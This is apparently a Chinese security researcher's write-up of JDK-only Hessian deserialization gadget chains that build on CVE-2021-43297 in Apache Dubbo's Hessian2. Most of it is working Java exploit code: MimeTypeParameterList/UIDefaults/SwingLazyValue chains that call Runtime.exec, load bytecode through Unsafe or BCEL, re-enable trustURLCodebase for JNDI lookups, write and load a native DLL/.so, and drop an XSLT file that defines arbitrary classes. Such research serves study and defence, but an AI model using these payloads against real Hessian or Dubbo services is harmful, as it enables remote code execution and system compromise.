Hessian_Only_JDK

0x01 Apache Dubbo Hessian2 expection 2 deser

参考：Apache Dubbo Hessian2 异常处理时反序列化（CVE-2021-43297） (seebug.org)

虽是Dubbo的CVE，但是漏洞点和修复点都在Dubbo魔改的Hessian依赖包，原版的Hessian同样存在这个问题

Reproduce

Hessian2Input#readObject

这个方法是这么描述的👇

Reads an arbitrary object from the input stream when the type is unknown

也就是Hessian在反序列化时，根据输入流来判断类型

首先读取了输入流的一个字节（看到这里和0xff作与运算）

根据这个标记字节来决定反序列化的类型，67对应'C'，进入readObjectDefinition -> readString

case 'C':
{
    readObjectDefinition(null);
    return readObject();
}

这里不止67可以用，只要最后让他匹配不到类型抛出expect即可

readString又读了一次标记字节（_buffer头两个元素都是相同的标记字节）

但这次没有找到对应67的case，进入default，抛出了expect异常

com.caucho.hessian.io.Hessian2Input#expect

这里继续对输入流进行反序列化，并将得到的对象obj拼接到异常错误信息中，妥妥的触发obj.String()

这里就和Dubbo那个Exported Service Not Found抛出异常的打法具有异曲同工之妙了

修复：Dubbo3.2.13中不进行obj的拼接

接下来就是ROME利用链了

toStringBean#toString -> getter -> JdbcRowSetImpl#getDatabaseMetaData -> InitialContext#lookup

但若目标环境没有ROME依赖呢

接下来就来学习一下大佬们挖到的链子orz

0x02 Different Path of XStream

XStream有一条原生JDK的链子（为什么能联想到XStream是因为XStream和Hessian一样不需要类实现Serializable接口）

javax.swing.MultiUIDefaults#toString
	UIDefaults#get
		UIDefaults#getFromHashTable
			UIDefaults$LazyValue#createValue
				SwingLazyValue#createValue
					javax.naming.InitialContext#doLookup()

这条链有两个限制

MultiUIDefaults的访问修饰符是default，只有javax.swing才能使用它，Hessian反序列化时会出错
高版本JDK打不了JNDI

MultiUIDefaults实现了Map接口，获取到的反序列化器为MapDeserializer。

其对类进行实例化，会先检查该类是否可访问checkAccess

Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

MimeTypeParameterList + MethodUtil

大佬们找到了另一个可利用的toString类javax.activation.MimeTypeParameterList

public String toString() {
    StringBuffer buffer = new StringBuffer();
    buffer.ensureCapacity(this.parameters.size() * 16);
    Enumeration keys = this.parameters.keys();

    while(keys.hasMoreElements()) {
        String key = (String)keys.nextElement();
        buffer.append("; ");
        buffer.append(key);
        buffer.append('=');
        buffer.append(quote((String)this.parameters.get(key)));
    }

    return buffer.toString();
}

parameters成员是Hashtable类型，而UIDefaults也刚好继承了Hashtable

看看SwingLazyValue#createValue

createValue能够调用类的静态方法或对类进行实例化

（注意，这里用Class.forName加载类时，指定的类加载器是null，所以SwingLazyValue只能加载rt.jar下的类）

sun.reflect.misc.MethodUtil的invoke静态方法可以任意调用方法

因此我们得到一条新的链子

javax.activation.MimeTypeParameterList#toString
	UIDefaults#get
		UIDefaults#getFromHashTable
			UIDefaults$LazyValue#createValue
				SwingLazyValue#createValue
					sun.reflect.misc.MethodUtil#invoke

import com.caucho.hessian.io.*;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Test {
    public static void ser(Object evil) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);  //允许反序列化NonSerializable

        baos.write(77);
        output.writeObject(evil);
        output.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void main(String[] args) throws Exception {
        UIDefaults uiDefaults = new UIDefaults();
        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);

        SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});

        uiDefaults.put("p4d0rn", slz);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();

        setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
        ser(mimeTypeParameterList);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Unsafe Bypass blacklist

上面的POC打不出来，本地调试的Hessian版本是4.0.63

该版本下Hessian在获取反序列化器时会对类进行检查

com.caucho.hessian.io.ClassFactory#isAllow判断类是否允许被反序列化，其维护了一个黑名单

ClassFactory#load把黑名单中的类都转为HashMap

试了一下降到4.0.38就可以了

当然既然能调用任意方法了，我们也不必拘束于Runtime

利用Unsafe加载字节码，注意Unsafe#defineClass不会对类进行初始化，所以需要调用两次，在恶意类里添加一个静态方法，第二次调用之。

public static byte[] getPayload() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.makeClass("a");
    CtMethod staticInitializer = CtNewMethod.make("public static void exp() { Runtime.getRuntime().exec(\"calc\"); }", clazz);
    clazz.addMethod(staticInitializer);
    return clazz.toBytecode();
}
public static Object loadClass() throws Exception {
    UIDefaults uiDefaults = new UIDefaults();

    Class<?> clazz = Class.forName("sun.misc.Unsafe");
    Field field = clazz.getDeclaredField("theUnsafe");
    field.setAccessible(true);
    Unsafe unsafe = (Unsafe) field.get(null);

    Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
    byte[] bytes = getPayload();
    Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
    SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{defineClass, unsafe, new Object[]{"a", bytes, 0, bytes.length, null, null}}});

    uiDefaults.put("p4d0rn", slz);
    MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
    setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
    return mimeTypeParameterList;
}

public static Object initClass() throws Exception {
    UIDefaults uiDefaults = new UIDefaults();

    SwingLazyValue slz = new SwingLazyValue("a", "exp", new Object[0]);
    uiDefaults.put("p4d0rn", slz);
    MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
    setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
    return mimeTypeParameterList;
}

JNDI Breakthrough

高版本的JDK之所以有JNDI限制，是因为trustURLCodebase默认为false，禁用了RMI、CORBA和LDAP使用远程codebase的选项

JDK 6u132, JDK 7u122, JDK 8u113后
com.sun.jndi.rmi.object.trustURLCodebase = false
com.sun.jndi.cosnaming.object.trustURLCodebase = false
JDK 6u211，7u201, 8u191, 11.0.1后
com.sun.jndi.ldap.object.trustURLCodebase = false

好巧不巧这个java.lang.System#setProperty就是个静态方法，可以用上面的sun.reflect.misc.MethodUtil#invoke去调用

稍微修改一下上面的POC

Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});

开启trustURLCodebase之后就可以发起JNDI请求了。

Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://127.0.0.1:8099/aaa"}}});

0x03 PKCS9Attributes + BCEL

和上面的MimeTypeParameterList + MethodUtil比较，这条链子就source和sink不同

source 需要调用HashTable#get

sun.security.pkcs.PKCS9Attributes#toString -> PKCS9Attributes#getAttribute

this.attributes刚好是HashTable

sink 需要有可利用的静态方法或构造器

com.sun.org.apache.bcel.internal.util.JavaWrapper#_mian

实例化一个JavaWrapper之后进入wrapper.runMain

loader在实例化时被初始化为com.sun.org.apache.bcel.internal.util.ClassLoader（该ClassLoader继承了java.lang.ClassLoader）

但是BCEL的ClassLoader并不会对类进行初始化initial，所以不会马上执行静态代码块

得写一个_main让runMain走到后面的逻辑，调用恶意类的_main的时候才会执行静态代码块

设置_main方法为静态方法，才不会抛出异常

public class Evil {
    static {
        try {
            System.out.println("static block");
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
    public static void _main(String[] argv) throws Exception {
        System.out.println("_main");
        Runtime.getRuntime().exec("calc");
    }
}

public static void main(String[] args) throws Exception {
    JavaWrapper._main(new String[]{getBCEL(), "p4d0rn"});
}

public static String getBCEL() throws Exception {
    JavaClass javaClass = Repository.lookupClass(Evil.class);
    String encode = Utility.encode(javaClass.getBytes(), true);
    return "$$BCEL$$" + encode;
}

输出
static block
_main

public static Object bcel() throws Exception {
    UIDefaults uiDefaults = new UIDefaults();
    SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{getBCEL(), "p4d0rn"}});
    PKCS9Attributes pkcs9Attributes = createWithoutConstructor(PKCS9Attributes.class);
    Class clazz = Class.forName("sun.security.pkcs.PKCS9Attribute");
    Field pkcs = clazz.getDeclaredField("PKCS9_OIDS");
    pkcs.setAccessible(true);
    uiDefaults.put(((ObjectIdentifier[]) pkcs.get(null))[1], slz);
    setFieldValue(pkcs9Attributes, "attributes", uiDefaults);
    return pkcs9Attributes;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    objCons.setAccessible(true);
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    sc.setAccessible(true);
    return (T) sc.newInstance(consArgs);
}

注：BCEL Classloader在 JDK < 8u251之前还在rt.jar里面原生JDK

0x04 ProxyLazyValue + DumpBytecode + System.load

jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode是静态方法，能够写class文件

但由于ClassLoader的原因，SwingLazyValue这里只能加载rt.jar里面的类，而DumpBytecode类在nashorn.jar里面

javax.swing.UIDefaults$ProxyLazyValue.createValue

获取到classloader就能加载nashorn.jar了

创建一个动态链接库文件

Linux生成so文件

#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__))  calc (){
    system("calc");
}

gcc -c calc.c -o calc && gcc calc --share -o calc.so

Windows生成dll文件

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        calc();  // 进程附加时调用
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// pch.cpp
#include "pch.h"
#include <stdlib.h>
#include <stdio.h>

void calc() {
    system("calc");
}

// pch.h: 预编译标头文件。
#ifndef PCH_H
#define PCH_H
#include "framework.h"
extern "C" _declspec(dllexport) void calc();
#endif //PCH_H

先写so/dll文件，再通过System.load加载动态链接库

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class WriteFile {
    public static void main(String[] args) throws Exception {
        Unsafe unsafe = getUnsafe();
        Object script = unsafe.allocateInstance(ScriptEnvironment.class);
        setFieldValue(script, "_dest_dir", "E:/Server/");
        Object debug = unsafe.allocateInstance(DebugLogger.class);
        byte[] code = Files.readAllBytes(Paths.get("E:/calc.dll")); // 准备好的dll放在E盘根目录下
        String classname = "calc";

        // 写so/dll文件
//        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode",
//                "dumpBytecode", new Object[]{
//                script,
//                debug,
//                code,
//                classname
//        });

        //System.load加载so文件
        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
                "E:/Server/calc.class"
        });

        setFieldValue(proxyLazyValue, "acc", null);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put("key", proxyLazyValue);

        Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
        Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(mimeTypeParameterList);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Unsafe getUnsafe() throws Exception {
        Class<?> aClass = Class.forName("sun.misc.Unsafe");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Unsafe unsafe = (Unsafe) declaredConstructor.newInstance();
        return unsafe;
    }
}

0x05 XSLT Transform

通过com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename静态方法写文件，然后通过com.sun.org.apache.xalan.internal.xslt.Process#_main去加载XSLT文件触发transform，达到任意字节码加载的目的。不需要出网。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
                xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
                xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
                >
    <xsl:template match="/">
        <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'<base64_payload>')"/>
        <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
        <xsl:variable name="rce" select="ru:defineClass('<class_name>',$bs,$cl)"/>
        <xsl:value-of select="$rce"/>
    </xsl:template>
</xsl:stylesheet>

public static Object loadXslt() throws Exception {
    UIDefaults uiDefaults = new UIDefaults();
    SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/Server/evil_xslt"}});
    uiDefaults.put("p4d0rn", slz);
    MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
    setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
    return mimeTypeParameterList;
}

public static Object writeXslt() throws Exception {
    String xsltTemplate = "";
    byte[] bytes = ClassPool.getDefault().get("a").toBytecode();
    String based = Base64.getEncoder().encodeToString(bytes);
    String xslt = xsltTemplate.replace("<base64_payload>", based).replace("<class_name>", "a");
    UIDefaults uiDefaults = new UIDefaults();
    SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/Server/evil_xslt", xslt.getBytes()});

    uiDefaults.put("p4d0rn", slz);
    MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
    setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
    return mimeTypeParameterList;
}